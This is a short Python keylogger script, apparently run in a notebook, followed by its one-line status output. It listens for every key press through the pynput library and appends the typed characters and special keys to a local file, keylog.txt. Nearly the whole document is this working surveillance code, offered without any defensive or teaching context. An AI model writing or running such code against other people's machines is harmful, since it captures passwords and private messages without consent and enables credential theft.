```python
from pynput.keyboard import Key, Listener

# Global variable to store logged keystrokes
log = ""

# Define the function to write keystrokes to a file
def write_log(key):
    global log
    try:
        log += key.char  # Attempt to fetch the character pressed
    except AttributeError:
        if key == Key.space:
            log += " "
        else:
            log += " " + str(key) + " "

    # Write log to file
    with open("keylog.txt", "a") as f:
        f.write(log)
        log = ""  # Clear the log after writing

# Create a listener instance
with Listener(on_press=write_log) as listener:
    display("Keylogger is active. Press 'Stop' button to terminate.")
    listener.join()
```

"Keylogger is active. Press 'Stop' button to terminate."